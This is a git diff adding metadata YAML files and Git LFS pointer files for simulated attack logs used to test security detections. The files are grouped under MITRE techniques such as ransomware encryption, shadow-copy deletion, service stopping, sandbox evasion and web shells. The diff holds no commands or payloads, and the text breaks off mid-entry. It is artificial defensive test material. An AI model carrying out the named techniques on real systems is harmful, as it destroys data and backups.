a/datasets/attack_techniques/T1486/aws_kms_key/aws_cloudtrail_events-049327e3-d0eb-433f-bf71-1da7d0aece62.log b/datasets/attack_techniques/T1486/aws_kms_key/aws_cloudtrail_events-049327e3-d0eb-433f-bf71-1da7d0aece62.log new file mode 100644 index 000000000..cee794454 --- /dev/null +++ b/datasets/attack_techniques/T1486/aws_kms_key/aws_cloudtrail_events-049327e3-d0eb-433f-bf71-1da7d0aece62.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3f4512881655132059f12c48262cbe838323513a0dfc1b95fe7ce7412cc12629 +size 4608 diff --git a/datasets/attack_techniques/T1486/bitlocker_sus_commands/T1486_bitlocker_sus_commands.yml b/datasets/attack_techniques/T1486/bitlocker_sus_commands/T1486_bitlocker_sus_commands.yml new file mode 100644 index 000000000..1ca369e7c --- /dev/null +++ b/datasets/attack_techniques/T1486/bitlocker_sus_commands/T1486_bitlocker_sus_commands.yml @@ -0,0 +1,13 @@ +author: STRT +id: b5e5d5fe-78ab-4978-bfac-e667e565d2f1 +date: '2026-07-11' +description: Curated attack data generated for detection Windows BitLocker Suspicious + Command Usage +environment: attack_range +directory: bitlocker_sus_commands +mitre_technique: [] +datasets: +- name: bitlocker_sus_commands + path: /datasets/attack_techniques/T1486/bitlocker_sus_commands/bitlocker_sus_commands-b5e5d5fe-78ab-4978-bfac-e667e565d2f1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1486/bitlocker_sus_commands/bitlocker_sus_commands-b5e5d5fe-78ab-4978-bfac-e667e565d2f1.log b/datasets/attack_techniques/T1486/bitlocker_sus_commands/bitlocker_sus_commands-b5e5d5fe-78ab-4978-bfac-e667e565d2f1.log new file mode 100644 index 000000000..ee3249d99 --- /dev/null +++ b/datasets/attack_techniques/T1486/bitlocker_sus_commands/bitlocker_sus_commands-b5e5d5fe-78ab-4978-bfac-e667e565d2f1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:350ca9e564c6ba9cef57112a354b105846120c5295c7ba5accfac7e261456382 +size 2003 diff --git a/datasets/attack_techniques/T1486/dcrypt/T1486_dcrypt.yml b/datasets/attack_techniques/T1486/dcrypt/T1486_dcrypt.yml new file mode 100644 index 000000000..5447329cd --- /dev/null +++ b/datasets/attack_techniques/T1486/dcrypt/T1486_dcrypt.yml @@ -0,0 +1,12 @@ +author: STRT +id: c9369936-ded3-4977-a4ae-9d3a7c415e4e +date: '2026-07-11' +description: Curated attack data generated for detection Windows DiskCryptor Usage +environment: attack_range +directory: dcrypt +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1486/dcrypt/windows-sysmon-c9369936-ded3-4977-a4ae-9d3a7c415e4e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1486/dcrypt/windows-sysmon-c9369936-ded3-4977-a4ae-9d3a7c415e4e.log b/datasets/attack_techniques/T1486/dcrypt/windows-sysmon-c9369936-ded3-4977-a4ae-9d3a7c415e4e.log new file mode 100644 index 000000000..6aa37c088 --- /dev/null +++ b/datasets/attack_techniques/T1486/dcrypt/windows-sysmon-c9369936-ded3-4977-a4ae-9d3a7c415e4e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1586b5f95ac2b173ccd0d576f4ac6a4e5cedae3673d4cd2e412b2ae2ef27d09c +size 260240 diff --git a/datasets/attack_techniques/T1486/s3_file_encryption/T1486_s3_file_encryption.yml b/datasets/attack_techniques/T1486/s3_file_encryption/T1486_s3_file_encryption.yml new file mode 100644 index 000000000..747831862 --- /dev/null +++ b/datasets/attack_techniques/T1486/s3_file_encryption/T1486_s3_file_encryption.yml @@ -0,0 +1,13 @@ +author: STRT +id: d2463259-8e7a-41ad-8b16-0cb124762320 +date: '2026-07-10' +description: Curated attack data generated for detection AWS Detect Users with KMS + keys performing encryption S3 +environment: attack_range +directory: s3_file_encryption +mitre_technique: [] +datasets: +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1486/s3_file_encryption/aws_cloudtrail_events-d2463259-8e7a-41ad-8b16-0cb124762320.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1486/s3_file_encryption/aws_cloudtrail_events-d2463259-8e7a-41ad-8b16-0cb124762320.log b/datasets/attack_techniques/T1486/s3_file_encryption/aws_cloudtrail_events-d2463259-8e7a-41ad-8b16-0cb124762320.log new file mode 100644 index 000000000..da23e4ac2 --- /dev/null +++ b/datasets/attack_techniques/T1486/s3_file_encryption/aws_cloudtrail_events-d2463259-8e7a-41ad-8b16-0cb124762320.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:29c65aedfdb0a8b8ef56cb77af24842ec7ac5a9ad0497a186a3bda8acc411647 +size 3880 diff --git a/datasets/attack_techniques/T1486/sam_sam_note/T1486_sam_sam_note.yml b/datasets/attack_techniques/T1486/sam_sam_note/T1486_sam_sam_note.yml new file mode 100644 index 000000000..b40b5f21c --- /dev/null +++ b/datasets/attack_techniques/T1486/sam_sam_note/T1486_sam_sam_note.yml @@ -0,0 +1,12 @@ +author: STRT +id: 99e6d899-ecfa-4cab-a25e-d834a0aadb70 +date: '2026-07-11' +description: Curated attack data generated for detection Samsam Test File Write +environment: attack_range +directory: sam_sam_note +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1486/sam_sam_note/windows-sysmon-99e6d899-ecfa-4cab-a25e-d834a0aadb70.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1486/sam_sam_note/windows-sysmon-99e6d899-ecfa-4cab-a25e-d834a0aadb70.log b/datasets/attack_techniques/T1486/sam_sam_note/windows-sysmon-99e6d899-ecfa-4cab-a25e-d834a0aadb70.log new file mode 100644 index 000000000..a23e826a5 --- /dev/null +++ b/datasets/attack_techniques/T1486/sam_sam_note/windows-sysmon-99e6d899-ecfa-4cab-a25e-d834a0aadb70.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dbf6a9eecacce2ceeffe82fb7088dd79eb0224497fab8828a5f053d81cf54f71 +size 980 diff --git a/datasets/attack_techniques/T1489/linux_service_stop_disable/T1489_linux_service_stop_disable.yml b/datasets/attack_techniques/T1489/linux_service_stop_disable/T1489_linux_service_stop_disable.yml new file mode 100644 index 000000000..88af0e671 --- /dev/null +++ b/datasets/attack_techniques/T1489/linux_service_stop_disable/T1489_linux_service_stop_disable.yml @@ -0,0 +1,12 @@ +author: STRT +id: 2a0f85f0-c3fb-4a25-9adb-7e2f398cb2f4 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Disable Services +environment: attack_range +directory: linux_service_stop_disable +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1489/linux_service_stop_disable/sysmon_linux-2a0f85f0-c3fb-4a25-9adb-7e2f398cb2f4.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1489/linux_service_stop_disable/sysmon_linux-2a0f85f0-c3fb-4a25-9adb-7e2f398cb2f4.log b/datasets/attack_techniques/T1489/linux_service_stop_disable/sysmon_linux-2a0f85f0-c3fb-4a25-9adb-7e2f398cb2f4.log new file mode 100644 index 000000000..4e61e2c41 --- /dev/null +++ b/datasets/attack_techniques/T1489/linux_service_stop_disable/sysmon_linux-2a0f85f0-c3fb-4a25-9adb-7e2f398cb2f4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8c9a001266cd595f0b259d0ef4160d1569e3b6fe65eee2dcb7241634c6f3e5a0 +size 1501 diff --git a/datasets/attack_techniques/T1490/atomic_red_team/T1490_atomic_red_team.yml b/datasets/attack_techniques/T1490/atomic_red_team/T1490_atomic_red_team.yml new file mode 100644 index 000000000..b91a504c9 --- /dev/null +++ b/datasets/attack_techniques/T1490/atomic_red_team/T1490_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5f0895e6-8252-4b53-817a-1cdeb3ecf22b +date: '2026-07-11' +description: Curated attack data generated for detection BCDEdit Failure Recovery + Modification +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1490/atomic_red_team/windows-sysmon-5f0895e6-8252-4b53-817a-1cdeb3ecf22b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1490/atomic_red_team/windows-sysmon-5f0895e6-8252-4b53-817a-1cdeb3ecf22b.log b/datasets/attack_techniques/T1490/atomic_red_team/windows-sysmon-5f0895e6-8252-4b53-817a-1cdeb3ecf22b.log new file mode 100644 index 000000000..2ff4d6f3e --- /dev/null +++ b/datasets/attack_techniques/T1490/atomic_red_team/windows-sysmon-5f0895e6-8252-4b53-817a-1cdeb3ecf22b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b016064142f91837b41da4be25b6c148654df7d73f1a0e45f8020b0305105a7d +size 4042 diff --git a/datasets/attack_techniques/T1490/aws_bucket_version/T1490_aws_bucket_version.yml b/datasets/attack_techniques/T1490/aws_bucket_version/T1490_aws_bucket_version.yml new file mode 100644 index 000000000..c109a8228 --- /dev/null +++ b/datasets/attack_techniques/T1490/aws_bucket_version/T1490_aws_bucket_version.yml @@ -0,0 +1,16 @@ +author: STRT +id: 2834275c-5dca-4500-9d2c-fd3fca459f76 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Disable Bucket Versioning +environment: attack_range +directory: aws_bucket_version +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1490/aws_bucket_version/asl_ocsf_cloudtrail-2834275c-5dca-4500-9d2c-fd3fca459f76.log + sourcetype: aws:asl + source: aws_asl +- name: cloudtrail + path: /datasets/attack_techniques/T1490/aws_bucket_version/cloudtrail-2834275c-5dca-4500-9d2c-fd3fca459f76.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1490/aws_bucket_version/asl_ocsf_cloudtrail-2834275c-5dca-4500-9d2c-fd3fca459f76.log b/datasets/attack_techniques/T1490/aws_bucket_version/asl_ocsf_cloudtrail-2834275c-5dca-4500-9d2c-fd3fca459f76.log new file mode 100644 index 000000000..ae861b088 --- /dev/null +++ b/datasets/attack_techniques/T1490/aws_bucket_version/asl_ocsf_cloudtrail-2834275c-5dca-4500-9d2c-fd3fca459f76.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:513e2e5384d8c405e6c64e63716e6e5d0d68bff02f9139eeec1523d5908f8b89 +size 3046 diff --git a/datasets/attack_techniques/T1490/aws_bucket_version/cloudtrail-2834275c-5dca-4500-9d2c-fd3fca459f76.log b/datasets/attack_techniques/T1490/aws_bucket_version/cloudtrail-2834275c-5dca-4500-9d2c-fd3fca459f76.log new file mode 100644 index 000000000..07c2d50e2 --- /dev/null +++ b/datasets/attack_techniques/T1490/aws_bucket_version/cloudtrail-2834275c-5dca-4500-9d2c-fd3fca459f76.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1abe5a2bb8f10e54253ada63d4a6ecee62faf4969bb6df93181e5f1fa19ff8b6 +size 4394 diff --git a/datasets/attack_techniques/T1490/known_services_killed_by_ransomware/T1490_known_services_killed_by_ransomware.yml b/datasets/attack_techniques/T1490/known_services_killed_by_ransomware/T1490_known_services_killed_by_ransomware.yml new file mode 100644 index 000000000..851387244 --- /dev/null +++ b/datasets/attack_techniques/T1490/known_services_killed_by_ransomware/T1490_known_services_killed_by_ransomware.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8971478a-c0c0-4f38-a277-4577b9630c7c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Security And Backup + Services Stop +environment: attack_range +directory: known_services_killed_by_ransomware +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1490/known_services_killed_by_ransomware/windows-xml-8971478a-c0c0-4f38-a277-4577b9630c7c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1490/known_services_killed_by_ransomware/windows-xml-8971478a-c0c0-4f38-a277-4577b9630c7c.log b/datasets/attack_techniques/T1490/known_services_killed_by_ransomware/windows-xml-8971478a-c0c0-4f38-a277-4577b9630c7c.log new file mode 100644 index 000000000..f18212d09 --- /dev/null +++ b/datasets/attack_techniques/T1490/known_services_killed_by_ransomware/windows-xml-8971478a-c0c0-4f38-a277-4577b9630c7c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:434f4b245a9ee5edd44fb37448234ac34d84afe62d65054adac803ad1b22c18c +size 2200635 diff --git a/datasets/attack_techniques/T1490/shadowcopy_del/T1490_shadowcopy_del.yml b/datasets/attack_techniques/T1490/shadowcopy_del/T1490_shadowcopy_del.yml new file mode 100644 index 000000000..fa351f936 --- /dev/null +++ b/datasets/attack_techniques/T1490/shadowcopy_del/T1490_shadowcopy_del.yml @@ -0,0 +1,12 @@ +author: STRT +id: 6a41cf7e-9c68-4945-888c-f4e2cac41011 +date: '2026-07-11' +description: Curated attack data generated for detection Windows WMIC Shadowcopy Delete +environment: attack_range +directory: shadowcopy_del +mitre_technique: [] +datasets: +- name: wmicshadowcopydelete_sysmon + path: /datasets/attack_techniques/T1490/shadowcopy_del/wmicshadowcopydelete_sysmon-6a41cf7e-9c68-4945-888c-f4e2cac41011.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1490/shadowcopy_del/wmicshadowcopydelete_sysmon-6a41cf7e-9c68-4945-888c-f4e2cac41011.log b/datasets/attack_techniques/T1490/shadowcopy_del/wmicshadowcopydelete_sysmon-6a41cf7e-9c68-4945-888c-f4e2cac41011.log new file mode 100644 index 000000000..f33e525db --- /dev/null +++ b/datasets/attack_techniques/T1490/shadowcopy_del/wmicshadowcopydelete_sysmon-6a41cf7e-9c68-4945-888c-f4e2cac41011.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b943f1ca687118745fae96c11af10a07f8d91f7b34d6c24757579ee55ad539b7 +size 2004 diff --git a/datasets/attack_techniques/T1497.003/njrat_ping_delay_before_delete/T1497.003_njrat_ping_delay_before_delete.yml b/datasets/attack_techniques/T1497.003/njrat_ping_delay_before_delete/T1497.003_njrat_ping_delay_before_delete.yml new file mode 100644 index 000000000..d0890e6e3 --- /dev/null +++ b/datasets/attack_techniques/T1497.003/njrat_ping_delay_before_delete/T1497.003_njrat_ping_delay_before_delete.yml @@ -0,0 +1,12 @@ +author: STRT +id: 21f1cdd5-faa1-427c-ae5f-3423679ff83c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Time Based Evasion +environment: attack_range +directory: njrat_ping_delay_before_delete +mitre_technique: [] +datasets: +- name: ping_0 + path: /datasets/attack_techniques/T1497.003/njrat_ping_delay_before_delete/ping_0-21f1cdd5-faa1-427c-ae5f-3423679ff83c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1497.003/njrat_ping_delay_before_delete/ping_0-21f1cdd5-faa1-427c-ae5f-3423679ff83c.log b/datasets/attack_techniques/T1497.003/njrat_ping_delay_before_delete/ping_0-21f1cdd5-faa1-427c-ae5f-3423679ff83c.log new file mode 100644 index 000000000..98c6dd566 --- /dev/null +++ b/datasets/attack_techniques/T1497.003/njrat_ping_delay_before_delete/ping_0-21f1cdd5-faa1-427c-ae5f-3423679ff83c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:814ff78d6adb1904e63f98ad19dbf8a84f735578d34c7d0d221addc38abc154f +size 2022 diff --git a/datasets/attack_techniques/T1497.003/ping_sleep/T1497.003_ping_sleep.yml b/datasets/attack_techniques/T1497.003/ping_sleep/T1497.003_ping_sleep.yml new file mode 100644 index 000000000..249d26963 --- /dev/null +++ b/datasets/attack_techniques/T1497.003/ping_sleep/T1497.003_ping_sleep.yml @@ -0,0 +1,12 @@ +author: STRT +id: dbd8a538-7f62-44da-8e46-83895eb78e87 +date: '2026-07-10' +description: Curated attack data generated for detection Ping Sleep Batch Command +environment: attack_range +directory: ping_sleep +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1497.003/ping_sleep/sysmon-dbd8a538-7f62-44da-8e46-83895eb78e87.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1497.003/ping_sleep/sysmon-dbd8a538-7f62-44da-8e46-83895eb78e87.log b/datasets/attack_techniques/T1497.003/ping_sleep/sysmon-dbd8a538-7f62-44da-8e46-83895eb78e87.log new file mode 100644 index 000000000..f0c5bdafd --- /dev/null +++ b/datasets/attack_techniques/T1497.003/ping_sleep/sysmon-dbd8a538-7f62-44da-8e46-83895eb78e87.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a280308fce84281f48abfadaa2efd2f192993a24311471f81bdd321ee1c8884f +size 2063 diff --git a/datasets/attack_techniques/T1497.003/time_delay_using_choice_exe/T1497.003_time_delay_using_choice_exe.yml b/datasets/attack_techniques/T1497.003/time_delay_using_choice_exe/T1497.003_time_delay_using_choice_exe.yml new file mode 100644 index 000000000..21b3f3e30 --- /dev/null +++ b/datasets/attack_techniques/T1497.003/time_delay_using_choice_exe/T1497.003_time_delay_using_choice_exe.yml @@ -0,0 +1,13 @@ +author: STRT +id: 661d8554-9d33-46a4-915f-ca243702a013 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Time Based Evasion + via Choice Exec +environment: attack_range +directory: time_delay_using_choice_exe +mitre_technique: [] +datasets: +- name: snakekeylogger_choice + path: /datasets/attack_techniques/T1497.003/time_delay_using_choice_exe/snakekeylogger_choice-661d8554-9d33-46a4-915f-ca243702a013.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1497.003/time_delay_using_choice_exe/snakekeylogger_choice-661d8554-9d33-46a4-915f-ca243702a013.log b/datasets/attack_techniques/T1497.003/time_delay_using_choice_exe/snakekeylogger_choice-661d8554-9d33-46a4-915f-ca243702a013.log new file mode 100644 index 000000000..e46f133d7 --- /dev/null +++ b/datasets/attack_techniques/T1497.003/time_delay_using_choice_exe/snakekeylogger_choice-661d8554-9d33-46a4-915f-ca243702a013.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a3f8bad2df883e8803cb32af8a2db0da910c9ae8eea0f734f1b1bdfa1043a8ec +size 8129 diff --git a/datasets/attack_techniques/T1497/browser_disable_extension/T1497_browser_disable_extension.yml b/datasets/attack_techniques/T1497/browser_disable_extension/T1497_browser_disable_extension.yml new file mode 100644 index 000000000..33b431d76 --- /dev/null +++ b/datasets/attack_techniques/T1497/browser_disable_extension/T1497_browser_disable_extension.yml @@ -0,0 +1,13 @@ +author: STRT +id: e05cebd3-2ec2-4ab8-b9a1-ecd55c0ddc95 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Chromium Process + with Disabled Extensions +environment: attack_range +directory: browser_disable_extension +mitre_technique: [] +datasets: +- name: chrome_disable_ext + path: /datasets/attack_techniques/T1497/browser_disable_extension/chrome_disable_ext-e05cebd3-2ec2-4ab8-b9a1-ecd55c0ddc95.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1497/browser_disable_extension/chrome_disable_ext-e05cebd3-2ec2-4ab8-b9a1-ecd55c0ddc95.log b/datasets/attack_techniques/T1497/browser_disable_extension/chrome_disable_ext-e05cebd3-2ec2-4ab8-b9a1-ecd55c0ddc95.log new file mode 100644 index 000000000..c637571df --- /dev/null +++ b/datasets/attack_techniques/T1497/browser_disable_extension/chrome_disable_ext-e05cebd3-2ec2-4ab8-b9a1-ecd55c0ddc95.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b0553360261d98ce7ed8475e520b9aa9951439b5d81ecfe8620a8e4da29d9079 +size 1946 diff --git a/datasets/attack_techniques/T1497/browser_disable_logs/T1497_browser_disable_logs.yml b/datasets/attack_techniques/T1497/browser_disable_logs/T1497_browser_disable_logs.yml new file mode 100644 index 000000000..a6c1806fb --- /dev/null +++ b/datasets/attack_techniques/T1497/browser_disable_logs/T1497_browser_disable_logs.yml @@ -0,0 +1,13 @@ +author: STRT +id: 524b8f66-bd76-45f5-b210-454fb5f4ff9c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Chromium Process + Launched with Logging Disabled +environment: attack_range +directory: browser_disable_logs +mitre_technique: [] +datasets: +- name: chrome_disable_log + path: /datasets/attack_techniques/T1497/browser_disable_logs/chrome_disable_log-524b8f66-bd76-45f5-b210-454fb5f4ff9c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1497/browser_disable_logs/chrome_disable_log-524b8f66-bd76-45f5-b210-454fb5f4ff9c.log b/datasets/attack_techniques/T1497/browser_disable_logs/chrome_disable_log-524b8f66-bd76-45f5-b210-454fb5f4ff9c.log new file mode 100644 index 000000000..7448b4027 --- /dev/null +++ b/datasets/attack_techniques/T1497/browser_disable_logs/chrome_disable_log-524b8f66-bd76-45f5-b210-454fb5f4ff9c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a4d5e688246499207345627a8f667ffc8df45938e9397ec42874e4c1b03b2694 +size 1943 diff --git a/datasets/attack_techniques/T1497/chrom_no_sandbox/T1497_chrom_no_sandbox.yml b/datasets/attack_techniques/T1497/chrom_no_sandbox/T1497_chrom_no_sandbox.yml new file mode 100644 index 000000000..d15da1f0e --- /dev/null +++ b/datasets/attack_techniques/T1497/chrom_no_sandbox/T1497_chrom_no_sandbox.yml @@ -0,0 +1,13 @@ +author: STRT +id: 89843d28-16d2-44a5-a1c4-c3bf76645db0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Chromium Browser + No Security Sandbox Process +environment: attack_range +directory: chrom_no_sandbox +mitre_technique: [] +datasets: +- name: chrome-no_sandbox + path: /datasets/attack_techniques/T1497/chrom_no_sandbox/chrome-no_sandbox-89843d28-16d2-44a5-a1c4-c3bf76645db0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1497/chrom_no_sandbox/chrome-no_sandbox-89843d28-16d2-44a5-a1c4-c3bf76645db0.log b/datasets/attack_techniques/T1497/chrom_no_sandbox/chrome-no_sandbox-89843d28-16d2-44a5-a1c4-c3bf76645db0.log new file mode 100644 index 000000000..65020654b --- /dev/null +++ b/datasets/attack_techniques/T1497/chrom_no_sandbox/chrome-no_sandbox-89843d28-16d2-44a5-a1c4-c3bf76645db0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:699194ce0b8c024fea8c1fefd54eb50d69789ed9b6b2c12855d24522f3a68ec9 +size 2449 diff --git a/datasets/attack_techniques/T1497/chrome_disable_popup/T1497_chrome_disable_popup.yml b/datasets/attack_techniques/T1497/chrome_disable_popup/T1497_chrome_disable_popup.yml new file mode 100644 index 000000000..cadd1bab8 --- /dev/null +++ b/datasets/attack_techniques/T1497/chrome_disable_popup/T1497_chrome_disable_popup.yml @@ -0,0 +1,13 @@ +author: STRT +id: bc1df335-0d83-4154-915a-7abead75b78f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Chromium Browser + Launched with Small Window Size +environment: attack_range +directory: chrome_disable_popup +mitre_technique: [] +datasets: +- name: chrome_disable_popup + path: /datasets/attack_techniques/T1497/chrome_disable_popup/chrome_disable_popup-bc1df335-0d83-4154-915a-7abead75b78f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1497/chrome_disable_popup/chrome_disable_popup-bc1df335-0d83-4154-915a-7abead75b78f.log b/datasets/attack_techniques/T1497/chrome_disable_popup/chrome_disable_popup-bc1df335-0d83-4154-915a-7abead75b78f.log new file mode 100644 index 000000000..8ae7f4da9 --- /dev/null +++ b/datasets/attack_techniques/T1497/chrome_disable_popup/chrome_disable_popup-bc1df335-0d83-4154-915a-7abead75b78f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ad96dcec64437df2fd40258508faca1952f28c82a0aa3b5ab72cd588015eeeab +size 2000 diff --git a/datasets/attack_techniques/T1505.001/simulation/T1505.001_simulation.yml b/datasets/attack_techniques/T1505.001/simulation/T1505.001_simulation.yml new file mode 100644 index 000000000..8ca39697d --- /dev/null +++ b/datasets/attack_techniques/T1505.001/simulation/T1505.001_simulation.yml @@ -0,0 +1,17 @@ +author: STRT +id: 9a9f7d2c-3808-47f1-923b-ea23a1434335 +date: '2026-07-11' +description: Curated attack data generated for detection Windows SQL Server Critical + Procedures Enabled +environment: attack_range +directory: simulation +mitre_technique: [] +datasets: +- name: adhocdq_windows_application + path: /datasets/attack_techniques/T1505.001/simulation/adhocdq_windows_application-9a9f7d2c-3808-47f1-923b-ea23a1434335.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Application +- name: sqlservr-windows_sysmon + path: /datasets/attack_techniques/T1505.001/simulation/sqlservr-windows_sysmon-9a9f7d2c-3808-47f1-923b-ea23a1434335.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1505.001/simulation/adhocdq_windows_application-9a9f7d2c-3808-47f1-923b-ea23a1434335.log b/datasets/attack_techniques/T1505.001/simulation/adhocdq_windows_application-9a9f7d2c-3808-47f1-923b-ea23a1434335.log new file mode 100644 index 000000000..5f0ef38a4 --- /dev/null +++ b/datasets/attack_techniques/T1505.001/simulation/adhocdq_windows_application-9a9f7d2c-3808-47f1-923b-ea23a1434335.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:23e5cb4c9fbabf2e59b41452b7b467ca86560325aa14d79c8afb5f0a3b8b08c7 +size 4214 diff --git a/datasets/attack_techniques/T1505.001/simulation/sqlservr-windows_sysmon-9a9f7d2c-3808-47f1-923b-ea23a1434335.log b/datasets/attack_techniques/T1505.001/simulation/sqlservr-windows_sysmon-9a9f7d2c-3808-47f1-923b-ea23a1434335.log new file mode 100644 index 000000000..02573535d --- /dev/null +++ b/datasets/attack_techniques/T1505.001/simulation/sqlservr-windows_sysmon-9a9f7d2c-3808-47f1-923b-ea23a1434335.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2f3a7805c725c01bbd1d39fd5e8228803c2b022105b2bf2ed1845e0319be5984 +size 25114 diff --git a/datasets/attack_techniques/T1505.003/attack_techniques_T1505.003.yml b/datasets/attack_techniques/T1505.003/attack_techniques_T1505.003.yml new file mode 100644 index 000000000..60a316567 --- /dev/null +++ b/datasets/attack_techniques/T1505.003/attack_techniques_T1505.003.yml @@ -0,0 +1,20 @@ +author: STRT +id: 93feff3f-69a1-434c-8620-8a6536c8352a +date: '2026-07-11' +description: Curated attack data generated for detection Detect Exchange Web Shell +environment: attack_range +directory: T1505.003 +mitre_technique: [] +datasets: +- name: windows-sysmon_proxylogon + path: /datasets/attack_techniques/T1505.003/windows-sysmon_proxylogon-93feff3f-69a1-434c-8620-8a6536c8352a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: moveit_windows-sysmon + path: /datasets/attack_techniques/T1505.003/moveit_windows-sysmon-93feff3f-69a1-434c-8620-8a6536c8352a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: wsus-windows-sysmon + path: /datasets/attack_techniques/T1505.003/wsus-windows-sysmon-93feff3f-69a1-434c-8620-8a6536c8352a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1505.003/generic_webshell_exploit/T1505.003_generic_webshell_exploit.yml b/datasets/attack_techniques/T1505.003/generic_webshell_exploit/T1505.003_generic_webshell_exploit.yml new file mode 100644 index 000000000..0036a3752 --- /dev/null +++ b/datasets/attack_techniques/T1505.003/generic_webshell_exploit/T1505.003_generic_webshell_exploit.yml @@ -0,0 +1,13 @@ +author: STRT +id: ad0f92db-33ce-43c7-906a-18df6659acd6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Suspicious Child + Process Spawned From WebServer +environment: attack_range +directory: generic_webshell_exploit +mitre_technique: [] +datasets: +- name: generic_webshell_exploit + path: /datasets/attack_techniques/T1505.003/generic_webshell_exploit/generic_webshell_exploit-ad0f92db-33ce-43c7-906a-18df6659acd6.log + sourcetype: 